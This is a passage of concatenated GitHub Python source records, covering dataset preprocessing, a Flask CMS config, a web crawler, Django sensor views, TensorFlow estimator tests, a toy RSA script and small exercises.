\"*.JPG\")):\n shutil.copy(file, to_dir)\n\n\ndef arrange_test_files(directory, test_img_dir_name_list,\n test_img_dir_path_list):\n \"\"\"\n Using the folder conventions of 0-6 according to basic emotion labels.\n All test images will be arranged in neutral folder.\n \"\"\"\n\n _create_folder('labelled_test_image')\n os.chdir('labelled_test_image')\n\n cwd = os.getcwd()\n\n for i in tqdm(range(len(test_img_dir_name_list))):\n _create_folder(test_img_dir_name_list[i])\n os.chdir(test_img_dir_name_list[i])\n _create_folder('0')\n _create_folder('1')\n _create_folder('2')\n _create_folder('3')\n _create_folder('4')\n _create_folder('5')\n _create_folder('6')\n\n os.chdir(cwd)\n\n img_list = []\n for i in tqdm(range(len(test_img_dir_path_list))):\n for subdir, dirs, files in os.walk(test_img_dir_path_list[i]):\n for file in files:\n filepath = subdir + os.sep + file\n img_list.append(filepath)\n\n dir_path_list = []\n for subdir, dirs, files in os.walk(directory):\n for _dir in dirs:\n dir_path = subdir + os.sep + _dir\n dir_path_list.append(dir_path)\n\n for i in tqdm(range(len(dir_path_list))):\n dir_path_split = dir_path_list[i].split(\"\\\\\")\n dir_path_dirname = dir_path_split[len(dir_path_split) - 1]\n\n for j in tqdm(range(len(img_list))):\n filepath_split = img_list[j].split(\"\\\\\")\n dir_name = filepath_split[len(filepath_split) - 2]\n\n if dir_path_dirname == dir_name:\n shutil.copy(img_list[j], dir_path_list[i] + \"\\\\0\")\n\n\ndef _setup_train_val_set():\n \"\"\"\n Runs all functions to extract training and validation sets.\n \"\"\"\n\n # Get all images and labels for both training and validation sets\n print(\"Running get_images()...\")\n get_images(ROOT_DIR + '\\\\cropped_aligned\\\\', IMAGE_FILEPATH, IMAGE_NAME,\n IMAGE_FILENAME)\n print(\"Running get_labels() for training set...\")\n get_labels(ROOT_DIR + '\\\\annotation\\\\EXPR_Set\\\\Training_Set', LABEL_LIST)\n print(\"Running get_labels() for Validation set...\")\n get_labels(ROOT_DIR + '\\\\annotation\\\\EXPR_Set\\\\Validation_Set', LABEL_LIST)\n\n # Match all images with its specified labels\n print(\"Running match_image_with_labels()...\")\n match_image_with_labels(IMAGE_NAME, IMAGE_FILEPATH, LABEL_LIST,\n IMAGE_LABEL_LIST)\n\n # Arrange images into {0-6} folders according to its expression labels\n print(\"Running arrange_files()...\")\n arrange_files()\n\n\ndef _setup_test_set():\n \"\"\"\n Runs all functions to extract test sets.\n Note that this test set contains dummy values (all of which are neutral)\n \"\"\"\n\n # Get all test set images and assign dummy neutral labels.\n print(\"Setting up dummy annotation files for test set...\")\n setup_test_files(ROOT_DIR + '\\\\expression_test_set.txt', TESTING_FILE_LIST,\n TESTING_IMG_DIR_FILEPATH_LIST)\n\n # Copy images of all test set folder to neutral folder.\n print(\"Running arrange_files()...\")\n arrange_test_files(ROOT_DIR + \"\\\\labelled_test_image\", TESTING_FILE_LIST,\n TESTING_IMG_DIR_FILEPATH_LIST)\n\n\ndef main():\n start = time.process_time()\n\n # TRAINING SET extract #\n # _setup_train_val_set()\n\n # TESTING SET extract #\n _setup_test_set()\n\n print(\"TIME ELAPSED:\", time.process_time() - start)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"zerosansan/fg2020_abaw","sub_path":"src/affwild2_extract.py","file_name":"affwild2_extract.py","file_ext":"py","file_size_in_byte":11574,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"10288341450","text":"import os\nimport uuid\n\nbasedir = os.path.abspath(os.path.dirname(__file__))\n\n\nclass BaseConfig(object):\n DATABASE_QUERY_TIMEOUT = 0.5\n WTF_CSRF_ENABLED = True\n SECRET_KEY = str(uuid.uuid4())\n HOSTNAME = 'localhost'\n DEBUG = True\n\n URL_MODULES = [\n 'flask_cms.core.urls.routes',\n 'flask_cms.member.urls.routes',\n 'flask_cms.page.urls.routes',\n 'flask_cms.admin.urls.routes',\n 'flask_cms.widget.urls.routes',\n 'flask_cms.search.urls.routes',\n ]\n\n BLUEPRINTS = [\n 'flask_cms.core.core',\n 'flask_cms.member.member',\n 'flask_cms.page.page',\n 'flask_cms.admin.admin',\n 'flask_cms.widget.widget',\n 'flask_cms.search.search',\n ]\n\n EXTENSIONS = [\n 'db',\n 'csrf',\n 'mail',\n ]\n\n CONTEXT_PROCESSORS = [\n 'flask_cms.page.context_processors.create_breadcrumbs_snippet',\n 'flask_cms.page.context_processors.add_grouper',\n 'flask_cms.page.context_processors.add_navbar',\n 'flask_cms.page.context_processors.add_flash_form_errors',\n 'flask_cms.search.context_processors.add_search_form',\n 'flask_cms.core.context_processors.add_registerable',\n 'flask_cms.core.context_processors.add_recoverable',\n 'flask_cms.core.context_processors.add_confirmable',\n ]\n\n # supported widgets that admin can create\n WIDGET_CREATE_FORMS = [\n ('poll', 'flask_cms.admin.widget.forms.PollForm'),\n ('carousel', 'flask_cms.admin.widget.forms.CarouselForm'),\n ('split_panel', 'flask_cms.admin.widget.forms.SplitPanelForm'),\n ('map', 'flask_cms.admin.widget.forms.MapForm'),\n ('grid', 'flask_cms.admin.widget.forms.GridForm'),\n ]\n\n # supported widget models\n WIDGET_MODELS = [\n ('poll', 'flask_cms.widget.models.poll.Poll'),\n ('carousel', 'flask_cms.widget.models.carousel.Carousel'),\n ('split_panel', 'flask_cms.widget.models.split_panel.SplitPanel'),\n ('map', 'flask_cms.widget.models.map.Map'),\n ('grid', 'flask_cms.widget.models.grid.Grid'),\n ]\n\n # available grid types\n GRID_TYPES = [\n '1_by_3_grid',\n ]\n\n # search [model, (searchable_columns), (columns_to_select)]\n SEARCHABLE_MODELS = [\n ['flask_cms.page.models.Page',\n ('title', 'description', 'content'),\n ('title', 'description', 'slug'), ],\n ['flask_cms.app.models.users.User',\n ('first_name', 'last_name', 'email'),\n ('first_name', 'last_name', \"email\", \"id\"), ],\n ]\n\n # security configs\n SECURITY_PASSWORD_HASH = \"bcrypt\"\n SECURITY_PASSWORD_SALT = \"secret_password_salt\"\n SECURITY_RECOVERABLE = True\n SECURITY_REGISTERABLE = True\n SECURITY_RECOVERABLE = True\n SECURITY_CONFIRMABLE = True\n\n # mail settings\n MAIL_SERVER = 'smtp.googlemail.com'\n MAIL_PORT = 465\n MAIL_USE_TLS = False\n MAIL_USE_SSL = True\n\n # gmail authentication\n MAIL_USERNAME = os.environ.get('APP_MAIL_USERNAME')\n MAIL_PASSWORD = os.environ.get('APP_MAIL_PASSWORD')\n\n # mail accounts\n MAIL_DEFAULT_SENDER = 'from@example.com'\n\n\nclass TestConfig(BaseConfig):\n SQLALCHEMY_DATABASE_URI = 'sqlite:///' + os.path.join(basedir, 'test.db')\n WTF_CSRF_ENABLED = False\n TESTING = True\n SECURITY_RECOVERABLE = False\n SECURITY_REGISTERABLE = False\n SECURITY_RECOVERABLE = False\n SECURITY_CONFIRMABLE = False\n\n\nclass DevelopmentConfig(BaseConfig):\n SQLALCHEMY_DATABASE_URI = 'mysql://root@localhost/flaskcms'\n\n\nclass ProductionConfig(BaseConfig):\n SQLALCHEMY_DATABASE_URI = os.environ.get(\"DATABASE_URL\")\n HOSTNAME = os.environ.get(\"HOSTNAME\")\n SECURITY_PASSWORD_SALT = os.environ.get(\"SECURITY_PASSWORD_SALT\")\n","repo_name":"sumanthns/flask-cms","sub_path":"flask_cms/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":3730,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"70922466649","text":"\"\"\"\nprints the normals of the faces of the currently selected\nobject in blender\n\"\"\"\nimport bpy\nf = open('output.txt','w')\n\nobj = bpy.context.active_object\nfor p in obj.data.polygons:\n f.write(str(p.normal))\n print(p.normal) #face normal\nf.close()\n#rotates the given icosphere to the given d20 number face\n#with a given normal mapping\n#def rotate_face():\n","repo_name":"Mequam/d20Generator","sub_path":"scripts/print_normals.py","file_name":"print_normals.py","file_ext":"py","file_size_in_byte":360,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"5355734271","text":"from utils import *\n\nimport numpy as np\nimport pandas as pd\nimport os\nimport json\nimport argparse\n\n\nparser = argparse.ArgumentParser()\nparser.add_argument(\"-g\", \"--gencode_list\", help=\"GENCODE comprehensive list with exon info\",\n type=str)\nparser.add_argument(\"-rb\", \"--rbp_list\", help=\"List of RBP transcript IDs\",\n type=str)\nparser.add_argument(\"-rm\", \"--rmod_list\", help=\"List of RNA-modif protein transcript IDs\",\n type=str)\nparser.add_argument(\"-i\", \"--input\", help=\"Count tables path\",\n type=str)\nparser.add_argument(\"-t\", \"--tr_dict\", help=\"Transcript length dict\",\n type=str)\nparser.add_argument(\"-o\", \"--output\", help=\"Savepath for aux inputs\",\n type=str)\nargs = parser.parse_args()\n\n\n# 0 - tr. name, 1 - chr, 2 - strand, 3,4 - tr. start/end, 5,6 - exon starts/ends, 7 - gene name\ntranscript_file = np.genfromtxt(args.gencode_list, usecols=(1, 2, 3, 4, 5, 9, 10, 12), skip_header=1, dtype='str')\n\nl1 = pd.read_csv(args.rbp_list, sep=',', header=0, index_col=0)\nl2 = pd.read_csv(args.rmod_list, sep=',', header=0, index_col=0)\nl = l1.append(l2)\nprint('Aux transcripts IDs:', len(l))\n\ndirs = os.listdir(args.input)\ninit = 0\n\nprint('Importing count tables from the input path...')\n\n\n# ! Optimized to consume lower memory during csv loading: Start\nto_drop = []\nfor file in dirs:\n if 'csv' in file:\n print(\"opening: \", os.path.join(args.input, file))\n if init == 1:\n new_counts = pd.read_csv(os.path.join(args.input, file), sep=',', header=0, index_col=\"samples\", low_memory=False, usecols=[\"samples\"]+list(counts.columns))\n counts = counts.append(new_counts)\n else:\n counts = pd.read_csv(os.path.join(args.input, file), sep=',', header=0, index_col=\"samples\", low_memory=False)\n\n for tr in list(counts.columns):\n if tr != \"samples\" and (tr[:15] not in list(l['transcript_ID'])):\n to_drop.append(tr)\n \n counts = counts.drop(columns=to_drop)\n init = 1\n\ndel to_drop\n# ! Optimized to consume lower memory during csv loading: End\n\n# normalize to cpm\n#F = counts.sum(axis = 1)/10**6\n#counts = counts.divide(F, axis='index')\n\nprint('Normalizing counts to rpkm...')\n\ntr_dict = {}\nwith open(args.tr_dict) as json_file:\n json_list = list(json_file)\n\nfor json_str in json_list:\n result = json.loads(json_str)\n tr_dict.update(result)\n\nnf = 0\nfor tr in counts.columns:\n if tr in tr_dict.keys():\n counts[tr] = counts[tr]*1000/tr_dict[tr]\n else:\n counts = counts.drop(columns=tr)\n nf += 1\n\nprint(\"Transcripts found and retained in the aux counts table:\", len(counts.columns))\n\nif not os.path.exists(args.output):\n os.makedirs(args.output)\n\ncounts.to_csv(os.path.join(args.output, 'aux_RBP_RNAmod.csv'))","repo_name":"anyakors/CAPD_CHIL2021","sub_path":"aux_input_opt.py","file_name":"aux_input_opt.py","file_ext":"py","file_size_in_byte":2888,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"74290464089","text":"import requests\r\nimport re\r\nfrom openpyxl import Workbook\r\nfrom bs4 import BeautifulSoup as bs\r\n\r\nurl = \"https://movie.naver.com/movie/sdb/browsing/bmovie.nhn?open=2019\"\r\nhtml = bs(requests.get(url).content, \"html.parser\",from_encoding='utf-8')\r\ncnt = 882\r\n\r\n\r\nwb=Workbook()\r\nws=wb.create_sheet(\"2019년 영화\",0)\r\nrow=2\r\nws.cell(1,1,\"영화제목\")\r\nws.cell(1,2,\"URL\")\r\n\r\nfor x in range(1, int(cnt)//20+1):\r\n html=bs(requests.get(url+\"&page=\"+str(x)).content, \"html.parser\",from_encoding=\"utf-8\")\r\n for i in range(0,19):\r\n title = html.select(\"#old_content > ul > li >a\")[i]\r\n tt=str(title) #title을 str로 변환 추출을 위해\r\n code=re.findall(\"\\d+\",tt[37:43])[0] #영화 코드번호 추출\r\n endpoint = title.contents[0].find(\" (\") #제목의 끝점\r\n if(endpoint >= 0):\r\n real_title=title.contents[0][0:endpoint]\r\n else:\r\n real_title=title.contents[0]\r\n\r\n ws.cell(row, 1, real_title)\r\n ws.cell(row, 2, \"https://movie.naver.com/movie/bi/mi/pointWriteFormList.nhn?code=\"+code+\r\n \"&type=after&onlyActualPointYn=Y&onlySpoilerPointYn=N&order=sympathyScore\")\r\n\r\n row += 1\r\n\r\nwb.save('2019년 영화.xlsx')","repo_name":"ShinhyeongPark/NaverMoiveCrawler","sub_path":"crawler/MovieCrawler.py","file_name":"MovieCrawler.py","file_ext":"py","file_size_in_byte":1268,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"2980612135","text":"import csv\n\nfrom django.contrib.auth import authenticate, login, logout\nfrom django.http import HttpResponse, Http404, HttpResponseRedirect\nfrom django.shortcuts import render\nfrom django.urls import reverse\nfrom django.views.decorators.csrf import csrf_exempt\n\nfrom .models import DataPoint, Sensor\n\n\ndef index(request):\n if not request.user.is_authenticated:\n return render(request, 'main/login.html')\n sensors = Sensor.objects.filter(owner=request.user)\n context = {'sensors': sensors}\n return render(request, 'main/index.html', context)\n\n\ndef user_login(request):\n logout(request)\n if request.method == \"POST\":\n username = request.POST['username']\n password = request.POST['password']\n user = authenticate(request, username=username, password=password)\n if user is not None:\n login(request, user)\n return HttpResponseRedirect(reverse('main:index', args=None))\n # return render(request, 'main/login.html',)\n else:\n return render(request, 'main/login.html', {'failed_login': True})\n else:\n return render(request, 'main/login.html', )\n\n\ndef user_logout(request):\n logout(request)\n return render(request, 'main/login.html')\n\n\ndef sensor(request, sensor_num):\n if not request.user.is_authenticated:\n return render(request, 'main/login.html')\n try:\n sensors = Sensor.objects.filter(owner=request.user).get(id=sensor_num)\n except Sensor.DoesNotExist:\n raise Http404(\"Sensor does not exists\")\n # datapoint = DataPoint.objects.filter(sensor=sensors).order_by('-date')[:100]\n context = {\n 'sensors': sensors,\n # 'datapoint': datapoint\n }\n return render(request, 'main/sensor.html', context)\n\n\ndef get_sensor_data(request, sensor_num):\n if not request.user.is_authenticated:\n return render(request, 'main/login.html')\n try:\n sensors = Sensor.objects.filter(owner=request.user).get(id=sensor_num)\n except Sensor.DoesNotExist:\n raise Http404(\"Sensor does not exists\")\n ranges = {\n '1': 100,\n '2': 500,\n '3': 1000,\n '4': 10000,\n '5': 999999,\n }\n if request.method == \"GET\":\n datapoint = DataPoint.objects.filter(sensor=sensors).order_by('-date')[:1000]\n keep = ['date', 'temperature', 'humidity', 'pressure', 'air_direction']\n elif request.method == \"POST\":\n data_range = ranges.get(request.POST.get('range', '1'), 10)\n datapoint = DataPoint.objects.filter(sensor=sensors).order_by('-date')[:data_range]\n field_names = [field.name for field in datapoint.model._meta.fields]\n keep = ['date'] + [name for name in field_names if name in request.POST]\n else:\n raise Http404(\"Unknown Request Format\")\n response = HttpResponse(\n content_type='text/csv',\n headers={'Content-Disposition': f'attachment; filename=\"Sensor_{sensor_num}.csv\"'},\n )\n writer = csv.writer(response)\n writer.writerow(keep)\n for obj in datapoint:\n writer.writerow([getattr(obj, field) for field in keep])\n\n return response\n\n\ndef delete_sensor_data(request, sensor_num):\n t = DataPoint.objects.filter(sensor_id=sensor_num).delete()\n try:\n r = f\"Sensor {sensor_num} datapoints deleted {t}\"\n except:\n r = \"Error\"\n return HttpResponse(r)\n\n","repo_name":"rajib884/WeatherStation","sub_path":"main/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3361,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"36862106322","text":"from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport functools\nimport tempfile\n\nimport numpy\nimport six\n\nfrom tensorflow.contrib.timeseries.python.timeseries import ar_model\nfrom tensorflow.contrib.timeseries.python.timeseries import estimators\nfrom tensorflow.contrib.timeseries.python.timeseries import feature_keys\nfrom tensorflow.contrib.timeseries.python.timeseries import input_pipeline\nfrom tensorflow.contrib.timeseries.python.timeseries import saved_model_utils\n\nfrom tensorflow.python.client import session\nfrom tensorflow.python.estimator import estimator_lib\nfrom tensorflow.python.feature_column import feature_column_lib as feature_column\nfrom tensorflow.python.framework import dtypes\nfrom tensorflow.python.framework import ops\nfrom tensorflow.python.platform import test\nfrom tensorflow.python.saved_model import loader\nfrom tensorflow.python.saved_model import tag_constants\n\n\nclass _SeedRunConfig(estimator_lib.RunConfig):\n\n @property\n def tf_random_seed(self):\n return 3\n\n\nclass TimeSeriesRegressorTest(test.TestCase):\n\n def _fit_restore_fit_test_template(self, estimator_fn, dtype):\n \"\"\"Tests restoring previously fit models.\"\"\"\n model_dir = tempfile.mkdtemp(dir=self.get_temp_dir())\n exogenous_feature_columns = (\n feature_column.numeric_column(\"exogenous\"),\n )\n first_estimator = estimator_fn(model_dir, exogenous_feature_columns)\n times = numpy.arange(20, dtype=numpy.int64)\n values = numpy.arange(20, dtype=dtype.as_numpy_dtype)\n exogenous = numpy.arange(20, dtype=dtype.as_numpy_dtype)\n features = {\n feature_keys.TrainEvalFeatures.TIMES: times,\n feature_keys.TrainEvalFeatures.VALUES: values,\n \"exogenous\": exogenous\n }\n train_input_fn = input_pipeline.RandomWindowInputFn(\n input_pipeline.NumpyReader(features), shuffle_seed=2, num_threads=1,\n batch_size=16, window_size=16)\n eval_input_fn = input_pipeline.RandomWindowInputFn(\n input_pipeline.NumpyReader(features), shuffle_seed=3, num_threads=1,\n batch_size=16, window_size=16)\n first_estimator.train(input_fn=train_input_fn, steps=1)\n first_evaluation = first_estimator.evaluate(\n input_fn=eval_input_fn, steps=1)\n first_loss_before_fit = first_evaluation[\"loss\"]\n self.assertAllEqual(first_loss_before_fit, first_evaluation[\"average_loss\"])\n self.assertAllEqual([], first_loss_before_fit.shape)\n first_estimator.train(input_fn=train_input_fn, steps=1)\n first_loss_after_fit = first_estimator.evaluate(\n input_fn=eval_input_fn, steps=1)[\"loss\"]\n self.assertAllEqual([], first_loss_after_fit.shape)\n second_estimator = estimator_fn(model_dir, exogenous_feature_columns)\n second_estimator.train(input_fn=train_input_fn, steps=1)\n whole_dataset_input_fn = input_pipeline.WholeDatasetInputFn(\n input_pipeline.NumpyReader(features))\n whole_dataset_evaluation = second_estimator.evaluate(\n input_fn=whole_dataset_input_fn, steps=1)\n exogenous_values_ten_steps = {\n \"exogenous\": numpy.arange(\n 10, dtype=dtype.as_numpy_dtype)[None, :, None]\n }\n predict_input_fn = input_pipeline.predict_continuation_input_fn(\n evaluation=whole_dataset_evaluation,\n exogenous_features=exogenous_values_ten_steps,\n steps=10)\n # Also tests that limit_epochs in predict_continuation_input_fn prevents\n # infinite iteration\n (estimator_predictions,\n ) = list(second_estimator.predict(input_fn=predict_input_fn))\n self.assertAllEqual([10, 1], estimator_predictions[\"mean\"].shape)\n input_receiver_fn = first_estimator.build_raw_serving_input_receiver_fn()\n export_location = first_estimator.export_saved_model(\n self.get_temp_dir(), input_receiver_fn)\n with ops.Graph().as_default():\n with session.Session() as sess:\n signatures = loader.load(sess, [tag_constants.SERVING], export_location)\n # Test that prediction and filtering can continue from evaluation output\n saved_prediction = saved_model_utils.predict_continuation(\n continue_from=whole_dataset_evaluation,\n steps=10,\n exogenous_features=exogenous_values_ten_steps,\n signatures=signatures,\n session=sess)\n # Saved model predictions should be the same as Estimator predictions\n # starting from the same evaluation.\n for prediction_key, prediction_value in estimator_predictions.items():\n self.assertAllClose(prediction_value,\n numpy.squeeze(\n saved_prediction[prediction_key], axis=0))\n first_filtering = saved_model_utils.filter_continuation(\n continue_from=whole_dataset_evaluation,\n features={\n feature_keys.FilteringFeatures.TIMES: times[None, -1] + 2,\n feature_keys.FilteringFeatures.VALUES: values[None, -1] + 2.,\n \"exogenous\": values[None, -1, None] + 12.\n },\n signatures=signatures,\n session=sess)\n # Test that prediction and filtering can continue from filtering output\n second_saved_prediction = saved_model_utils.predict_continuation(\n continue_from=first_filtering,\n steps=1,\n exogenous_features={\n \"exogenous\": numpy.arange(\n 1, dtype=dtype.as_numpy_dtype)[None, :, None]\n },\n signatures=signatures,\n session=sess)\n self.assertEqual(\n times[-1] + 3,\n numpy.squeeze(\n second_saved_prediction[feature_keys.PredictionResults.TIMES]))\n saved_model_utils.filter_continuation(\n continue_from=first_filtering,\n features={\n feature_keys.FilteringFeatures.TIMES: times[-1] + 3,\n feature_keys.FilteringFeatures.VALUES: values[-1] + 3.,\n \"exogenous\": values[-1, None] + 13.\n },\n signatures=signatures,\n session=sess)\n\n # Test cold starting\n six.assertCountEqual(\n self,\n [feature_keys.FilteringFeatures.TIMES,\n feature_keys.FilteringFeatures.VALUES,\n \"exogenous\"],\n signatures.signature_def[\n feature_keys.SavedModelLabels.COLD_START_FILTER].inputs.keys())\n batch_numpy_times = numpy.tile(\n numpy.arange(30, dtype=numpy.int64)[None, :], (10, 1))\n batch_numpy_values = numpy.ones([10, 30, 1])\n state = saved_model_utils.cold_start_filter(\n signatures=signatures,\n session=sess,\n features={\n feature_keys.FilteringFeatures.TIMES: batch_numpy_times,\n feature_keys.FilteringFeatures.VALUES: batch_numpy_values,\n \"exogenous\": 10. + batch_numpy_values\n }\n )\n predict_times = numpy.tile(\n numpy.arange(30, 45, dtype=numpy.int64)[None, :], (10, 1))\n predictions = saved_model_utils.predict_continuation(\n continue_from=state,\n times=predict_times,\n exogenous_features={\n \"exogenous\": numpy.tile(numpy.arange(\n 15, dtype=dtype.as_numpy_dtype), (10,))[None, :, None]\n },\n signatures=signatures,\n session=sess)\n self.assertAllEqual([10, 15, 1], predictions[\"mean\"].shape)\n\n def test_fit_restore_fit_ar_flat(self):\n def _estimator_fn(model_dir, exogenous_feature_columns):\n return estimators.ARRegressor(\n periodicities=10, input_window_size=10, output_window_size=6,\n num_features=1, model_dir=model_dir, config=_SeedRunConfig(),\n # This test is flaky with normal likelihood loss (could add more\n # training iterations instead).\n loss=ar_model.ARModel.SQUARED_LOSS,\n exogenous_feature_columns=exogenous_feature_columns)\n self._fit_restore_fit_test_template(_estimator_fn, dtype=dtypes.float32)\n\n def test_fit_restore_fit_ar_lstm(self):\n def _estimator_fn(model_dir, exogenous_feature_columns):\n return estimators.TimeSeriesRegressor(\n model=ar_model.ARModel(\n periodicities=10, input_window_size=10, output_window_size=6,\n num_features=1,\n exogenous_feature_columns=exogenous_feature_columns,\n prediction_model_factory=functools.partial(\n ar_model.LSTMPredictionModel,\n num_units=10)),\n config=_SeedRunConfig(),\n model_dir=model_dir)\n self._fit_restore_fit_test_template(_estimator_fn, dtype=dtypes.float32)\n\n def test_fit_restore_fit_structural_ensemble_regressor(self):\n dtype = dtypes.float32\n def _estimator_fn(model_dir, exogenous_feature_columns):\n return estimators.StructuralEnsembleRegressor(\n num_features=1, periodicities=10, model_dir=model_dir, dtype=dtype,\n config=_SeedRunConfig(),\n exogenous_feature_columns=exogenous_feature_columns)\n self._fit_restore_fit_test_template(_estimator_fn, dtype=dtype)\n\n def test_structural_ensemble_numpy_input(self):\n numpy_data = {\"times\": numpy.arange(50),\n \"values\": numpy.random.normal(size=[50])}\n estimators.StructuralEnsembleRegressor(\n num_features=1, periodicities=[], model_dir=self.get_temp_dir(),\n config=_SeedRunConfig()).train(\n input_pipeline.WholeDatasetInputFn(\n input_pipeline.NumpyReader(numpy_data)),\n steps=1)\n\n def test_ar_lstm_regressor(self):\n dtype = dtypes.float32\n model_dir = tempfile.mkdtemp(dir=self.get_temp_dir())\n exogenous_feature_columns = (\n feature_column.numeric_column(\"exogenous\"),\n )\n estimator = estimators.LSTMAutoRegressor(\n periodicities=10,\n input_window_size=10,\n output_window_size=6,\n model_dir=model_dir,\n num_features=1,\n extra_feature_columns=exogenous_feature_columns,\n num_units=10,\n config=_SeedRunConfig())\n times = numpy.arange(20, dtype=numpy.int64)\n values = numpy.arange(20, dtype=dtype.as_numpy_dtype)\n exogenous = numpy.arange(20, dtype=dtype.as_numpy_dtype)\n features = {\n feature_keys.TrainEvalFeatures.TIMES: times,\n feature_keys.TrainEvalFeatures.VALUES: values,\n \"exogenous\": exogenous\n }\n train_input_fn = input_pipeline.RandomWindowInputFn(\n input_pipeline.NumpyReader(features), shuffle_seed=2, num_threads=1,\n batch_size=16, window_size=16)\n eval_input_fn = input_pipeline.RandomWindowInputFn(\n input_pipeline.NumpyReader(features), shuffle_seed=3, num_threads=1,\n batch_size=16, window_size=16)\n estimator.train(input_fn=train_input_fn, steps=1)\n evaluation = estimator.evaluate(\n input_fn=eval_input_fn, steps=1)\n self.assertAllEqual(evaluation[\"loss\"], evaluation[\"average_loss\"])\n self.assertAllEqual([], evaluation[\"loss\"].shape)\n\nif __name__ == \"__main__\":\n test.main()\n","repo_name":"DeepRec-AI/DeepRec","sub_path":"tensorflow/contrib/timeseries/python/timeseries/estimators_test.py","file_name":"estimators_test.py","file_ext":"py","file_size_in_byte":11069,"program_lang":"python","lang":"en","doc_type":"code","stars":895,"dataset":"github-code","pt":"31"} +{"seq_id":"12844979321","text":"import math\ndef E(ETF):\n e = 0\n for i in range(2, ETF):\n if math.gcd(i, ETF) == 1:\n e = i\n break\n return e\n\ndef D(ETF,e):\n i = 1\n while True:\n d = int((1 + i * ETF) / e)\n if d < ETF and d > 0 and (d * e) % ETF == 1:\n break\n i+=1\n return d\n\n\nD1 = lambda a,b:a==1or-~b*D1(-b%a,a)/a\n\np = int(input(\"Enter p value : - \"))\nq = int(input(\"Enter q value : - \"))\nm = int(input((\"Enter msg : - \")))\nn = p * q\nETF = (p - 1) * (q - 1)\ne = E(ETF)\nd = D(ETF,e)\nd1 = D1(ETF,e)\nprint(d,d1)\nprint(\"encryption is \")\nc=(m**e)%n\nprint(c)\nprint(\"decryption is\")\nM=(c**d)%n\nprint(M)\n","repo_name":"raj-codal/Python-Practicals","sub_path":"p37.py","file_name":"p37.py","file_ext":"py","file_size_in_byte":641,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"10991776373","text":"class Solution:\n def canFinish(self, numCourses: int, pre: List[List[int]]) -> bool:\n def dfs(node):\n if len(graph[node])==0:\n return \n\n for nbr in graph[node]:\n indegmap[nbr]-=1\n if indegmap[nbr]==0:\n dfs(nbr)\n\n\n indegmap={}\n graph=defaultdict(list)\n for i in range(numCourses):\n indegmap[i]=0\n\n for a,b in pre:\n graph[b].append(a)\n indegmap[a]+=1\n \n s=[]\n for k,v in indegmap.items():\n if v==0:\n s.append(k)\n \n for node in s:\n dfs(node)\n\n for v in indegmap.values():\n if v>0:\n return False\n return True\n \n \n","repo_name":"raaam21/Leetcode-Solutions","sub_path":"0207-course-schedule/0207-course-schedule.py","file_name":"0207-course-schedule.py","file_ext":"py","file_size_in_byte":800,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"16876598082","text":"# -*- coding: utf-8 -*-\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nimport os\nfrom goodtables import datatable\nfrom goodtables import exceptions\nfrom tests import base\n\n\nclass TestDataTable(base.BaseTestCase):\n\n def setUp(self):\n super(TestDataTable, self).setUp()\n\n def tearDown(self):\n super(TestDataTable, self).tearDown()\n\n def test_404_raises(self):\n\n data_source = 'https://okfn.org/this-url-cant-possibly-exist-so-lets-test-404/'\n\n self.assertRaises(exceptions.DataSourceHTTPError,\n datatable.DataTable, data_source)\n\n def test_html_raises(self):\n\n data_source = 'https://www.google.com/'\n\n self.assertRaises(exceptions.DataSourceIsHTMLError,\n datatable.DataTable, data_source)\n\n\n def test_excel_from_file(self):\n\n data_source = os.path.join(self.data_dir, 'hmt', 'BIS_monthly_spend_December_2012.xls')\n data = datatable.DataTable(data_source, format='excel')\n\n self.assertTrue(data.headers)\n\n def test_excel_from_url(self):\n\n data_source = 'https://github.com/okfn/goodtables/raw/master/examples/hmt/BIS_monthly_spend_December_2012.xls'\n data = datatable.DataTable(data_source, format='excel')\n\n self.assertTrue(data.headers)\n\n def test_wrong_encoding_raises(self):\n\n data_source = os.path.join(self.data_dir, 'hmt','BIS_spending_over__25_000_July_2014.csv')\n encoding = 'UTF-8' # should be 'ISO-8859-2'\n self.assertRaises(exceptions.DataSourceDecodeError, datatable.DataTable,\n data_source, encoding=encoding, decode_strategy=None)\n\n def test_wrong_encoding_replaces(self):\n\n data_source = os.path.join(self.data_dir, 'hmt','BIS_spending_over__25_000_July_2014.csv')\n encoding = 'UTF-8' # should be 'ISO-8859-2'\n decode_strategy = 'replace'\n data = datatable.DataTable(data_source, encoding=encoding, decode_strategy=decode_strategy)\n\n self.assertTrue(data)\n","repo_name":"mychapati/goodtables","sub_path":"tests/test_datatable.py","file_name":"test_datatable.py","file_ext":"py","file_size_in_byte":2115,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"31"} +{"seq_id":"24682961939","text":"\"Write a program to count the number of occurrences of each word in a file.\"\nimport re\n\npath = r\"C:\\Users\\Hp\\PycharmProjects\\Kasi_Python_TestYantra\\my_files\\text files\\sindhu12.txt\"\nfrom collections import defaultdict\nd = defaultdict(int)\nwith open(path) as file:\n for line in file:\n l = line.split()\n for word in l:\n d[word] += 1\n # print(d)\n\n\"Write a program to count the number of occurrences of vowels in a file.\"\nfrom collections import defaultdict\nd = defaultdict(int)\nwith open(path) as file:\n for line in file:\n if line.strip():\n l = line.split()\n for word in l:\n if word[0].lower() in 'aeiou':\n d[word] += 1\n print(d)\n\n\"\"\"Write a program to print all numeric values in a list\"\"\"\nitems = ['apple', 1.2, 'google', '12.6', 26, '100']\nfor item in items:\n if isinstance(item, str):\n if item.isnumeric():\n print(int(item))\n elif isinstance(item, (int, float, complex)):\n print(item)\n\n\"\"\"left 